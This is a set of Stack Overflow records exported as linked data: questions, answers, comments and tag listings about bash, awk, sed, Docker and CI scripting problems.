has body: GTF file is a file format used for genomic annotation I'm using this script which is basically reading a reference file that contains my column of interest and a gtf file where I have to match feature and then add the new feature alongside the mapped feature. My gtf file cat Canis_lupus_familiaris.ROS_Cfam_1.0.108.gtf | head #!genome-build ROS_Cfam_1.0 #!genome-version ROS_Cfam_1.0 #!genome-date 2020-09 #!genome-build-accession GCA_014441545.1 #!genebuild-last-updated 2020-10 X ensembl gene 24550462 24552226 . - . gene_id "ENSCAFG00845015183"; gene_version "1"; gene_source "ensembl"; gene_biotype "protein_coding"; X ensembl transcript 24550462 24552226 . - . gene_id "ENSCAFG00845015183"; gene_version "1"; transcript_id "ENSCAFT00845027108"; transcript_version "1"; gene_source "ensembl"; gene_biotype "protein_coding"; transcript_source "ensembl"; transcript_biotype "protein_coding"; tag "Ensembl_canonical"; X ensembl exon 24552206 24552226 . - . gene_id "ENSCAFG00845015183"; gene_version "1"; transcript_id "ENSCAFT00845027108"; transcript_version "1"; exon_number "1"; gene_source "ensembl"; gene_biotype "protein_coding"; transcript_source "ensembl"; transcript_biotype "protein_coding"; exon_id "ENSCAFE00845128634"; exon_version "1"; tag "Ensembl_canonical"; X ensembl CDS 24552206 24552226 . - 0 gene_id "ENSCAFG00845015183"; gene_version "1"; transcript_id "ENSCAFT00845027108"; transcript_version "1"; exon_number "1"; gene_source "ensembl"; gene_biotype "protein_coding"; transcript_source "ensembl"; transcript_biotype "protein_coding"; protein_id "ENSCAFP00845021332"; protein_version "1"; tag "Ensembl_canonical"; X ensembl start_codon 24552224 24552226 . - 0 gene_id "ENSCAFG00845015183"; gene_version "1"; transcript_id "ENSCAFT00845027108"; transcript_version "1"; exon_number "1"; gene_source "ensembl"; gene_biotype "protein_coding"; transcript_source "ensembl"; transcript_biotype "protein_coding"; tag "Ensembl_canonical"; My reference file here The column named Entre…
type: UnansweredQuestion

http://stackoverflow.com/comment/135091915
has text: @jordanm They already declared with `declare -A vars`.
type: Comment
comment on: http://stackoverflow.com/q/76621621
score: 0
type: QuestionComment

http://stackoverflow.com/comment/135060509
type: Comment
comment on: http://stackoverflow.com/q/76602700
has text: And maybe add a `date` command to your script to see when it was executed. Assuming the Python script is rum by the shell script, how long does it run? Do you expect it to be still running when you check this with `ps`?
type: QuestionComment
score: 3

http://stackoverflow.com/comment/135043480
has text: @Barmar True. But this is in a container without jq.
score: 0
comment on: http://stackoverflow.com/q/76593228
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135096705
has text: Is the file's content _actually valid bash source_? (That's true for the lines you showed, but using `source` or equivalent requires that it be true universally, and risks security problems otherwise).
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76624545
score: 1

http://stackoverflow.com/comment/135205271
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76682292
has text: BTW, think about adding a `tee` component to the pipeline to get a log you can review that hasn't been through `tail` or `tr`.
score: 0

http://stackoverflow.com/q/76678549
has answer: http://stackoverflow.com/a/76678743
has answer: http://stackoverflow.com/a/76680404
has answer: http://stackoverflow.com/a/76679163
tagged with: shell
type: AnsweredQuestion
tagged with: linux
possible better answer: http://stackoverflow.com/a/76678743
accepted answer: http://stackoverflow.com/a/76679163
score: 0
type: Question
has title: How to print a varriable to one column
has body: Can anybody help me please? I am trying to print output of a command output for a bash script to check the SuSE product registration command output (/usr/bin/SUSEConnect --status-text) Installed Products: ------------------------------------------ Desktop Applications Module (sle-module-desktop-applications/15.2/x86_64) Registered ------------------------------------------ Server Applications Module (sle-module-server-applications/15.2/x86_64) Registered ------------------------------------------ Basesystem Module (sle-module-basesystem/15.2/x86_64) Registered ------------------------------------------ Legacy Module (sle-module-legacy/15.2/x86_64) Not Registered ------------------------------------------ I just filtered it sudo /usr/bin/SUSEConnect --status-text|sed -r '/^\s*$/d'|tr -d '[:blank:]'|grep -Ev "^-|InstalledProducts" DesktopApplicationsModule (sle-module-desktop-applications/15.2/x86_64) Registered ServerApplicationsModule (sle-module-server-applications/15.2/x86_64) Registered BasesystemModule (sle-module-basesystem/15.2/x86_64) Registered LegacyModule (sle-module-legacy/15.2/x86_64) NotRegistered But I want to remove the lines (*) and print like Installed Products : DesktopApplicationsModule Registered ServerApplicationsModule Registered BasesystemModule Registered LegacyModule NotRegistered Thanks,
answer count: 4
linked to: http://stackoverflow.com/q/11426529
has answer: http://stackoverflow.com/a/76679295
tagged with: bash

http://stackoverflow.com/comment/134988864
has text: It keeps printing 'myscript' is not running so restarting...
comment on: http://stackoverflow.com/a/76561518
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/135124439
has text: If the `C.UTF-8` locale does not support sorting non-ASCII code points, then why do I get the correct output for the first file?
score: 0
comment on: http://stackoverflow.com/a/76640309
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/138465293
score: 0
comment on: http://stackoverflow.com/a/78534484
has text: As it’s currently written, your answer is unclear. Please [edit] to add additional details that will help others understand how this addresses the question asked. You can find more information on how to write good answers [in the help center](/help/how-to-answer).
type: Comment
type: AnswerComment

http://stackoverflow.com/a/76585185
answers question: http://stackoverflow.com/q/76585150
has comment: http://stackoverflow.com/comment/135029884
has comment: http://stackoverflow.com/comment/135029890
has body: You don't need all the cd commands. Use a wildcard in both the directory and subdirectory portion. Then split it with parameter expansion operators to get the parent and child names. for subdir in */*; do if [ -d "$subdir" ] then dirname=${subdir%/*} subdirname=${subdir#*/} mv "$subdir" "$dirname/$dirname$subdirname" fi done
type: Answer
score: 0

http://stackoverflow.com/comment/135178235
comment on: http://stackoverflow.com/a/76638142
has text: Yes, because when the first word on a line is the name of an alias, it's expanded. If you write `function gss`, it's not the first word, so it's left alone.
type: Comment
type: AnswerComment
score: 0

http://stackoverflow.com/comment/134963358
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/76546217
type: Comment
has text: Please add sample input (no descriptions, no images, no links) and your desired output for that sample input to your question (no comment).

http://stackoverflow.com/comment/135039666
comment on: http://stackoverflow.com/q/76590436
type: Comment
has text: @jhnc, notably, that's not just any GNU grep but specifically one compiled with the optional libpcre dependency; so the availability of `-P` is not just version-specific but also distro-specific.
type: QuestionComment
score: 1

http://stackoverflow.com/comment/135050858
score: 1
type: QuestionComment
has text: It continues to amaze me that posters cannot tell the difference between a leak and other kinds of memory error. Valgrind, at least, does have a clue, and includes the word “leak” in errors that are leaks. Does “Syscall param execve(argv) points to uninitialised byte(s)” include the word leak?
type: Comment
comment on: http://stackoverflow.com/q/76591531

http://stackoverflow.com/a/76659370
answers question: http://stackoverflow.com/q/76659118
type: Answer
upvote count: 3
downvote count: 0
score: 3
has body: You may use this awk: awk ' FNR == NR { if (FNR == 1) { nulls = sprintf("%*s", NF-1, ""); gsub(/ /, " NULL", nulls) } data[$1] = $0 next } { print ($1 in data ? data[$1] : $1 nulls), $2 }' db.txt app.txt | column -t 5.13.0.12S WLPFO5_13_0_12S WLPFO incremental 2023-07-10_11:57:51 Activated Current Yes 5.13.0.11S WLPFO5_13_0_11S WLPFO full 2023-07-10_06:37:32 Activated Previous Yes 5.13.0.24S NULL NULL NULL NULL NULL NULL Yes 5.13.0.23S NULL NULL NULL NULL NULL NULL Yes 5.13.0.22S NULL NULL NULL NULL NULL NULL Yes Here: For the first row in first file, using sprintf, we prepare a string with NF-1 number of spaces in variable nulls first. Then using gsub we replace each space with " NULL" in variable nulls Store each row of db.txt in associative array data with key as $1 Finally while processing app.txt we check presence of $1 in associative array data If value is found in array then print $1 and mapped value otherwise print variable $1 and nulls Use column -t to display output in tabular format.

http://stackoverflow.com/comment/135040991
type: QuestionComment
has text: Does this answer your question? [Bash: How to translate modification time of a file to epoch?](https://stackoverflow.com/questions/26888867/bash-how-to-translate-modification-time-of-a-file-to-epoch)
type: Comment
comment on: http://stackoverflow.com/q/76591635
score: 0

http://stackoverflow.com/comment/135265233
has text: Sure, have done it. I was curious though is there any way to achieve this without having to paste the output into a file called data, and be able to sum it directly in the command line using prog.awk?
comment on: http://stackoverflow.com/a/76683785
type: Comment
type: AnswerComment
score: 0

http://stackoverflow.com/comment/135158129
type: QuestionComment
has text: First of all, the #! line `#!/bin/ch` does not make sense, but since you explicitly invoke the script using `bash`, this should not be a problem. However, the wording of the error message makes me suspect that you execute the command from either a Powershell or a Windows Command shell. This would mean that you don't have a program named `bash.exe` in your PATH. In this case, it is a configuration issue inside your interactive shell and should be asked at i.e. [su].
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76655946

http://stackoverflow.com/comment/135095880
type: QuestionComment
comment on: http://stackoverflow.com/q/76622495
has text: I have already exported it in the .zshrc using export command.
type: Comment
score: 0

http://stackoverflow.com/comment/135222402
comment on: http://stackoverflow.com/q/76699173
type: QuestionComment
has text: For example, you can pipe `iostat` into a script that copies its output from stdin to stdout _until_ it sees two blank lines next to each other and then runs `ls` whenever that happens before resuming the loop (assuming your copy of iostat is like mine and prints two lines after each readout when run in `iostat 1` mode [where it infinitely loops]).
type: Comment
score: 0

http://stackoverflow.com/comment/135183945
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76669795
has text: @STAKD : Note that it is allowed to answer your own question. If you think that the solution you found is a useful contribution, feel free to post it as an answer.
score: 0

http://stackoverflow.com/comment/135213437
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76687885
has text: Arrays can't be exported; you don't get the effect of `-x` when you use `declare -A`.
score: 0

http://stackoverflow.com/comment/135152592
has text: I will bind this script to a keybind to cycle between windows. It will be run fairly often so it should be efficient.
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/76657138
type: Comment

http://stackoverflow.com/comment/135004861
type: QuestionComment
score: 0
has text: Your filter [works](https://jqplay.org/s/eDKPPBnph2V) but your command-line lacks the closing single quote (`... = "disabled" ' data.json`). Also, using the update operator `|=` is superfluous here, just use the assignment operator `=`.
comment on: http://stackoverflow.com/q/76570156
type: Comment

http://stackoverflow.com/comment/135209735
has text: Thanks for the comment, could you maybe direct me to the links you used? I tried the command and got the error "BEGIN: command not found", maybe I could use the page you looked at to figure out what I'm doing wrong. I have a little experience in bash but not any in Kubernetes, googling how to sum columns in bash of Kubernetes tables wasn't getting me any links, maybe I could try reading the page you used. I'm unfamiliar with awk as well.
score: 0
comment on: http://stackoverflow.com/a/76683785
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/135093271
has text: If this is the cause, then why does it show up in `env|grep "DATABASE_URL"`?
score: 0
comment on: http://stackoverflow.com/a/76622523
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/135132376
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76644366
has text: @Kaz, it works after this, thanks! I think it's better than nothing in my case. Any other suggestions?
score: 0

sudo
tags question: http://stackoverflow.com/q/76544842
tag name: sudo
type: Tag
tags question: http://stackoverflow.com/q/78193697
tags question: http://stackoverflow.com/q/78253133
tags question: http://stackoverflow.com/q/78401442
tags question: http://stackoverflow.com/q/78628280
tags question: http://stackoverflow.com/q/79191704

http://stackoverflow.com/comment/135095877
score: 1
has text: If this is the issue, the question should arguably be marked as a duplicate of [Difference between shell and environment variables](https://stackoverflow.com/questions/3341372/difference-between-shell-and-environment-variables)
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76622523

http://stackoverflow.com/a/76640309
has body: The C.UTF-8 locale does not support sorting non-ASCII code points. Try en_US.UTF-8 (which works for me).
score: 0
has comment: http://stackoverflow.com/comment/135124439
answers question: http://stackoverflow.com/q/76633664
type: Answer

http://stackoverflow.com/comment/135043477
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76593228
has text: Don't use regex to process JSON. Use a tool like `jq` that knows how to parse it.

http://stackoverflow.com/comment/135219220
type: QuestionComment
comment on: http://stackoverflow.com/q/76697224
has text: Please edit your question and add your desired output (no description) for that sample input.
score: 0
type: Comment

docker
type: Tag
tags question: http://stackoverflow.com/q/76668316
tags question: http://stackoverflow.com/q/76622698
tags question: http://stackoverflow.com/q/76656090
tags question: http://stackoverflow.com/q/76687757
tag name: docker
tags question: http://stackoverflow.com/q/76694496
tags question: http://stackoverflow.com/q/76856869
tags question: http://stackoverflow.com/q/76752760
tags question: http://stackoverflow.com/q/77029758
tags question: http://stackoverflow.com/q/77039347
tags question: http://stackoverflow.com/q/77043467
tags question: http://stackoverflow.com/q/76959096
tags question: http://stackoverflow.com/q/77121187
tags question: http://stackoverflow.com/q/77082012
tags question: http://stackoverflow.com/q/77188462
tags question: http://stackoverflow.com/q/77088400
tags question: http://stackoverflow.com/q/77208432
tags question: http://stackoverflow.com/q/77133248
tags question: http://stackoverflow.com/q/77289821
tags question: http://stackoverflow.com/q/77377014
tags question: http://stackoverflow.com/q/77245559
tags question: http://stackoverflow.com/q/77348356
tags question: http://stackoverflow.com/q/77273410
tags question: http://stackoverflow.com/q/77529495
tags question: http://stackoverflow.com/q/77583326
tags question: http://stackoverflow.com/q/77524391
tags question: http://stackoverflow.com/q/77762009
tags question: http://stackoverflow.com/q/77633360
tags question: http://stackoverflow.com/q/77715617
tags question: http://stackoverflow.com/q/77680217
tags question: http://stackoverflow.com/q/77815448
tags question: http://stackoverflow.com/q/77819605
tags question: http://stackoverflow.com/q/77797769
tags question: http://stackoverflow.com/q/77814304
tags question: http://stackoverflow.com/q/77798648
tags question: http://stackoverflow.com/q/77922787
tags question: http://stackoverflow.com/q/77886334
tags question: http://stackoverflow.com/q/78079308
tags question: http://stackoverflow.com/q/77979882
tags question: http://stackoverflow.com/q/78000520
tags question: http://stackoverflow.com/q/77963538
tags question: http://stackoverflow.com/q/78024270
tags question: http://stackoverflow.com/q/78251326
tags question: http://stackoverflow.com/q/78203542
tags question: http://stackoverflow.com/q/78211856
tags question: http://stackoverflow.com/q/78176002
tags question: http://stackoverflow.com/q/78408020
tags question: http://stackoverflow.com/q/78723984
tags question: http://stackoverflow.com/q/78644220
tags question: http://stackoverflow.com/q/78603366
tags question: http://stackoverflow.com/q/78741697
tags question: http://stackoverflow.com/q/78685925
tags question: http://stackoverflow.com/q/78774058
tags question: http://stackoverflow.com/q/78785884
tags question: http://stackoverflow.com/q/78987363
tags question: http://stackoverflow.com/q/78941080
tags question: http://stackoverflow.com/q/79042535
tags question: http://stackoverflow.com/q/79233564
tags question: http://stackoverflow.com/q/79075923
tags question: http://stackoverflow.com/q/79157601
tags question: http://stackoverflow.com/q/79126077
tags question: http://stackoverflow.com/q/79230233
tags question: http://stackoverflow.com/q/79100587
tags question: http://stackoverflow.com/q/79365929
tags question: http://stackoverflow.com/q/79394393
tags question: http://stackoverflow.com/q/79401075
tags question: http://stackoverflow.com/q/79291946
tags question: http://stackoverflow.com/q/79286144
tags question: http://stackoverflow.com/q/79530493
tags question: http://stackoverflow.com/q/79466429

http://stackoverflow.com/q/76649342
tagged with: xpath
answer count: 0
has body: I have a .plist XML file that looks like: system-entities content-hint Linux dev-entry /dev/disk5s2 mount-point /Volumes/rootfs potentially-mountable <true/> unmapped-content-hint Linux volume-kind ufsd_ExtFS content-hint Windows_FAT_32 dev-entry /dev/disk5s1 mount-point /Volumes/bootfs 1 potentially-mountable <true/> unmapped-content-hint Windows_FAT_32 volume-kind msdos content-hint FDisk_partition_scheme dev-entry /dev/disk5 potentially-mountable <false/> unmapped-content-hint FDisk_partition_scheme I want to search the with the content-hint following sibling Windows_FAT_32 and return the mount-point following sibling /Volumes/bootfs 1. ie. return the "mount point" for the "Windows_FAT_32" partition. Since this is in a shell script, I've been using xpath... xpath "//dict/array/dict[string='Windows_FAT_32']/key[.='mount-point']/following-sibling::string[1]/text()" ...which is returning nothing. My lack of experience with xpath searching has me stuck. I was thinking it may have to be done in 2 steps, one to select the right dict, and a second to extract the mount-point, but I'm still stuck with the selection of the dict match. Does anyone know how this can be done?
linked to: http://stackoverflow.com/q/15461737
upvote count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/135138466
has comment: http://stackoverflow.com/comment/135137843
duplicate of: http://stackoverflow.com/q/15461737
tagged with: plist
downvote count: 0
has title: How can I search a .plist file with XPATH
score: 1
has comment: http://stackoverflow.com/comment/135138003
has comment: http://stackoverflow.com/comment/135138020
type: Question
tagged with: shell
has comment: http://stackoverflow.com/comment/135137847
type: UnansweredQuestion

http://stackoverflow.com/comment/135040419
score: 5
type: QuestionComment
type: Comment
has text: You need to create a proper [mre] to show us. What is `cmd`? What is `cmd->argv`? How is `cmd->argv` initialized?
comment on: http://stackoverflow.com/q/76591531

spring-shell
tag name: spring-shell
tags question: http://stackoverflow.com/q/76644366
type: Tag

http://stackoverflow.com/q/76694496
answer count: 1
has body: I run Postgres from a local container, and do not have a local install of it. On macOS Ventura using Docker Desktop. I can get the backup side to work just fine w/ the following command: docker exec postgres-local-15 pg_dump -U postgres -F t dvdrental | gzip > /Users/me/Downloads/dvdrental.tar.gz But I get: "zsh: command not found: pg_restore" ...when trying either of these methods to restore: docker exec postgres-local-15 gunzip < /Users/me/Downloads/dvdrental.tar | pg_restore -U postgres -F t -d dvdrental -or- via network gunzip < /Users/me/Downloads/dvdrental.tar | pg_restore -U postgres -F t -d dvdrental -h 127.0.0.1 -p 5432 Here's how I'm running pg locally, in Docker (macOS): docker run --rm -v /Users/me/docker/postgres/15.3:/var/lib/postgresql/data -p 5432:5432 --name postgres-local-15 -e POSTGRES_PASSWORD=mypassword -d postgres:15.3 Could the "zsh" mean that it's looking on my local for pg_restore? I'm not the most sophisticated Docker guy - just utilizing what I found while searching.
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/135233218
has comment: http://stackoverflow.com/comment/135214745
tagged with: unix
has title: Trouble with restoring Postgres db running in Docker - getting "zsh: command not found: pg_restore"
tagged with: docker
score: 0
has answer: http://stackoverflow.com/a/76694529
type: Question
tagged with: shell
tagged with: postgresql
accepted answer: http://stackoverflow.com/a/76694529
tagged with: pg-restore

http://stackoverflow.com/comment/135204975
score: 0
has text: But _you_ are talking about WINE in the answer, incorrectly implying that it's necessary even on WSL. One can natively run Windows executables from WSL, though not with an overridden PATH as the OP is setting up.
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76687621

http://stackoverflow.com/comment/135135578
has text: Np, updated the code @d9ngle
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76648115

http://stackoverflow.com/a/76598524
type: Answer
downvote count: 0
answers question: http://stackoverflow.com/q/76596444
score: 4
upvote count: 4
has body: "bash", "-c" creates a bash that is non-interactive and its next commands will run assuming non-interactive. And according to my researches history is not enabled for non-interactive shells. That is why history command alone outputs nothing with "bash", "-c", "history" The workaround that I found: package main import ( "fmt" "os/exec" ) func main(){ cmd := exec.Command("bash", "-c", "history -r ~/.bash_history; history") stdout, err := cmd.Output() if err != nil { fmt.Println(err.Error()) return } fmt.Println(string(stdout)) } Maybe you need replace the bash and ~/.bash_history with corresponding values that is related with another shell, if you are using another shell. I don't know :/ Details: How to view the output of history from a non-interactive shell given path to HISTFILE? bash -c and noninteractive shell Why does the history command do nothing in a script file? If my given any information is wrong please notify me. I have made this answer according to the sites that I posted under Details.

http://stackoverflow.com/comment/135172118
type: Comment
has text: You can store your channel names in an array and iterate over the values using a for loop. Also, `$value$` is not valid bash syntax. You probably mean `$value`
comment on: http://stackoverflow.com/q/76669088
type: QuestionComment
score: 1

http://stackoverflow.com/comment/135128068
score: 0
comment on: http://stackoverflow.com/q/76643341
has text: [There](https://stackoverflow.com/help/formatting) you will find information on how to format your question with Markdown.
type: QuestionComment
type: Comment

http://stackoverflow.com/a/76615018
type: Answer
has body: If you just need the variable in the same rule then you want to set a shell variable and use that, rather than a make variable. You can do this: ifdef stack tag_cmd = $$(echo '$(tag)' | sed 's|$(stack)|&amp;_node|') else tag_cmd = endif build: node_tag=$(tag_cmd); echo $$node_tag To reference a shell variable in the recipe you use $$ to escape the dollar sign and you need to ensure the users of the variable are in the same recipe logical line. This variable assignment exists only inside this recipe, in the shell that was invoked. It will disappear once the recipe is over.
answers question: http://stackoverflow.com/q/76587890
score: 0

http://stackoverflow.com/comment/135059219
comment on: http://stackoverflow.com/q/76602195
has text: Hi @UlrichEckhardt, I am running it for Linux. So is that command correct ?
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/135225871
comment on: http://stackoverflow.com/a/76699525
type: Comment
has text: cluster mode disabled, redis latest 7.0, not sure what you mean by engine type
type: AnswerComment
score: 0

http://stackoverflow.com/comment/135068797
has text: please update the question with the expected output
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76607874

http://stackoverflow.com/a/76688267
score: 2
upvote count: 2
type: Answer
has body: id_no is set within the get-value() function call, and since you haven't defined id_no as 'local' to the function, the new value of id_no is automatically available to the calling/parent process. What you want to do is call the function without trying to capture its output, eg: $ cat stk2.sh #!/bin/bash source stk1.sh id_key=${1:-cat} ## setting default echo "Id key is :${id_key}" get-value $id_key echo "Value is ### ${id_no}"
answers question: http://stackoverflow.com/q/76687885
downvote count: 0

curl
tags question: http://stackoverflow.com/q/76602223
tags question: http://stackoverflow.com/q/76617551
tag name: curl
tags question: http://stackoverflow.com/q/76659086
type: Tag
tags question: http://stackoverflow.com/q/76683161
tags question: http://stackoverflow.com/q/76574168
tags question: http://stackoverflow.com/q/76588508
tags question: http://stackoverflow.com/q/76856169
tags question: http://stackoverflow.com/q/76790718
tags question: http://stackoverflow.com/q/76739629
tags question: http://stackoverflow.com/q/76901769
tags question: http://stackoverflow.com/q/77085340
tags question: http://stackoverflow.com/q/77206252
tags question: http://stackoverflow.com/q/77090236
tags question: http://stackoverflow.com/q/77332277
tags question: http://stackoverflow.com/q/77308949
tags question: http://stackoverflow.com/q/77592912
tags question: http://stackoverflow.com/q/77570997
tags question: http://stackoverflow.com/q/77638243
tags question: http://stackoverflow.com/q/78046821
tags question: http://stackoverflow.com/q/78021543
tags question: http://stackoverflow.com/q/78118437
tags question: http://stackoverflow.com/q/78150678
tags question: http://stackoverflow.com/q/78171409
tags question: http://stackoverflow.com/q/78319046
tags question: http://stackoverflow.com/q/78581308
tags question: http://stackoverflow.com/q/78505491
tags question: http://stackoverflow.com/q/78557465
tags question: http://stackoverflow.com/q/78634010
tags question: http://stackoverflow.com/q/78731523
tags question: http://stackoverflow.com/q/79105586
tags question: http://stackoverflow.com/q/79103952
tags question: http://stackoverflow.com/q/79123895
tags question: http://stackoverflow.com/q/79400681
tags question: http://stackoverflow.com/q/79430818

http://stackoverflow.com/a/76641020
has body: Thanks for all the input. This was an adventure The way I was able to achieve this is using two functions leveraging awk like suggested by @barmar print_variables() { declare -A vars="${1#*=}" local end_of_line=$2 for key in "${!vars[@]}"; do echo "Field: $key Value: ${vars[$key]}" done if $end_of_line -eq 1 ; then echo "End of line reached" act_on_csv_data # Call another function here if you wish fi } parse_csv() { local filename=$1 awk -F ',' ' NR==1 { for(i=1; i<=NF; i++) { header[i]=$i; } } NR>1 { gsub(/\r$/, "", $NF); printf "(" for(i=1; i<=NF; i++) { if(length($i) > 0) { printf "[\"%s\"]=\"%s\"", header[i], $i; if(i != NF) { printf ", " } } } printf ")\nEOL\n" } ' "$filename" | { vars="" while read -r line; do if $line != "EOL" ; then vars="declare -A vars=$line" else print_variables "$vars" 1 vars="" fi done } }
answers question: http://stackoverflow.com/q/76621621
score: 0
type: Answer

http://stackoverflow.com/a/76633865
score: 4
upvote count: 4
type: Answer
downvote count: 0
has body: echo a | sed -n -e ‘$a b’ prints b and echo a | sed -e ‘$a b’ prints a b which shows that when -n is specified the content of the pattern space is not printed.
answers question: http://stackoverflow.com/q/76633771

http://stackoverflow.com/comment/135211700
comment on: http://stackoverflow.com/q/76690713
score: 0
has text: @SimonMourier Yes, I already figured I could update the last write time to make the system recompute the thumbnail. But that's a very ugly solution when what I want is to take a single picture file and replace the thumbnail of a specified file with it. And it's ok if later the system recomputes the thumbnail and replaces it back to what it was.
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135093362
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76622495
has text: How and where are `DATABASE_URL` and `CV_DATABASE_URL` defined?

http://stackoverflow.com/comment/135188604
score: 0
has text: Get the book Effective AWK Programming, 5th Edition, by Arnold Robbins but `sub()` is described in every awk man page, e.g. https://man7.org/linux/man-pages/man1/awk.1p.html, so I'm not sure what documentation you were looking at that didn't have it but get rid of that documentation. It's also described in the POSIX awk spec, https://pubs.opengroup.org/onlinepubs/9699919799/utilities/awk.html.
comment on: http://stackoverflow.com/a/76669672
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/135206894
has text: Do you want all the modulus parts assembled into one single line?
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76689787
score: 0

http://stackoverflow.com/a/76697704
score: 0
has body: It looks like when PHP runs shell_exec(…), it doesn't have access to the $PATH env var that contain a list of directories that contain the executables. One way to avoid this issue is to provide full paths so that the shell doesn't have to guess the locations of files: /usr/bin/python /var/www/[…]/testCODES.py You can run whereis python to find where is the binary.
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/76678493
accepted answer of: http://stackoverflow.com/q/76678493
type: Answer

http://stackoverflow.com/q/76621928
score: 0
type: Question
tagged with: shell
type: UnansweredQuestion
answer count: 1
has body: When my project's jobs run in the Gitlab pipeline, at the end of the testing job the job fails even though all the unit tests are good. I don't understand why. Here's the architecture of my project: .gitlab-ci.yml cache: paths: - node_modules - dist default: image: node:lts stages: - build - test build: stage: build before_script: - bash ci/build/build_tools_install.sh script: - bash ci/build/build_app.sh tests: stage: test variables: CI: "true" before_script: - bash ci/tests/tests_tools_install.sh script: - bash ci/tests/tests_run.sh tests_tools_install.sh #!/bin/bash # Display debug in console set -xe # Library to control Chrome, it contains Chrome npm install puppeteer@18.0.0 # Add system libraries needed to start Chrome in Headless mode apt update -yqq apt install -yqq gconf-service libasound2 libatk1.0-0 libatk-bridge2.0-0 libc6 libcairo2 libcups2 libdbus-1-3 libexpat1 libfontconfig1 libgcc1 libgconf-2-4 libgdk-pixbuf2.0-0 libglib2.0-0 libgtk-3-0 libnspr4 libpango-1.0-0 libpangocairo-1.0-0 libstdc++6 libx11-6 libx11-xcb1 libxcb1 libxcomposite1 libxcursor1 libxdamage1 libxext6 libxfixes3 libxi6 libxrandr2 libxrender1 libxss1 libxtst6 ca-certificates fonts-liberation libappindicator1 libnss3 lsb-release xdg-utils wget tests_run.sh #!/bin/bash= # Display debug in console set -xe # Set the CHROME_BIN variable to point to the Chrome binary export CHROME_BIN=`find $CI_PROJECT_DIR/node_modules/puppeteer -name "chrome"` # Start Angular tests using locally installed Angular CLI node_modules/.bin/ng test --code-coverage=false --watch=false Gitlab test job console result 04 07 2023 17:17:38.656:INFO [launcher]: Launching browsers ChromeHeadlessNoSandbox with concurrency unlimited 04 07 2023 17:17:38.659:INFO [launcher]: Starting browser ChromeHeadless 04 07 2023 17:17:38.907:INFO [Chrome Headless 106.0.5249.0 (Linux x86_64)]: Connected on socket uFBxUufDl-2onOYIAAAB with id 77018412 Chrome Headless 106.0.5249.0 (Linux x86_64): Executed 0 of 5 SUCCESS (0 secs / 0 secs) Chr…
has comment: http://stackoverflow.com/comment/135095250
has answer: http://stackoverflow.com/a/76623714
has title: Gitlab CI/CD Jobs fail but all is correct
tagged with: gitlab-ci
tagged with: cicd
has comment: http://stackoverflow.com/comment/135093235
tagged with: pipeline

http://stackoverflow.com/a/76622523
has comment: http://stackoverflow.com/comment/135093510
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/135093271
type: Answer
has body: This is more a shell question than a Rust question, but the variable must be exported to be seen in child processes. So run export ALT_DATABASE_URL before running your program. You can also set and export at the same time: export ALT_DATABASE_URL=whatever Please see this question for more details on non-exported (shell) and exported (environment) variables, personally I find this answer the best one.
has comment: http://stackoverflow.com/comment/135095877
answers question: http://stackoverflow.com/q/76622495
score: 1

build
tags question: http://stackoverflow.com/q/76673561
tag name: build
type: Tag
tags question: http://stackoverflow.com/q/79223747

cron
tags question: http://stackoverflow.com/q/76602700
tags question: http://stackoverflow.com/q/76660309
tag name: cron
type: Tag
tags question: http://stackoverflow.com/q/76923495
tags question: http://stackoverflow.com/q/77051289
tags question: http://stackoverflow.com/q/77095520
tags question: http://stackoverflow.com/q/77353503
tags question: http://stackoverflow.com/q/77285638
tags question: http://stackoverflow.com/q/77348356
tags question: http://stackoverflow.com/q/77415917
tags question: http://stackoverflow.com/q/77519381
tags question: http://stackoverflow.com/q/77621487
tags question: http://stackoverflow.com/q/77824412
tags question: http://stackoverflow.com/q/78253702
tags question: http://stackoverflow.com/q/78388939
tags question: http://stackoverflow.com/q/78431133
tags question: http://stackoverflow.com/q/78475634
tags question: http://stackoverflow.com/q/78572096
tags question: http://stackoverflow.com/q/78534383
tags question: http://stackoverflow.com/q/78489711
tags question: http://stackoverflow.com/q/78470611
tags question: http://stackoverflow.com/q/78613195
tags question: http://stackoverflow.com/q/79034810
tags question: http://stackoverflow.com/q/79319046
tags question: http://stackoverflow.com/q/79375762
tags question: http://stackoverflow.com/q/79386930
tags question: http://stackoverflow.com/q/79316946

http://stackoverflow.com/comment/134961031
score: 0
type: QuestionComment
has text: Apple has some documentation on shell scripts within applescript, including around administrator privileges: [Technical Note TN2065: do shell script in AppleScript](https://developer.apple.com/library/archive/technotes/tn2065/_index.html#//apple_ref/doc/uid/DTS10003093-CH1-TNTAG1-HOW_DO_I_GET_ADMINISTRATOR_PRIVILEGES_FOR_A_COMMAND_). A single script should retain privileges for five minutes but each script will require authentication.
type: Comment
comment on: http://stackoverflow.com/q/76544842

http://stackoverflow.com/a/76663827
type: Answer
upvote count: 2
score: 2
answers question: http://stackoverflow.com/q/76663609
downvote count: 0
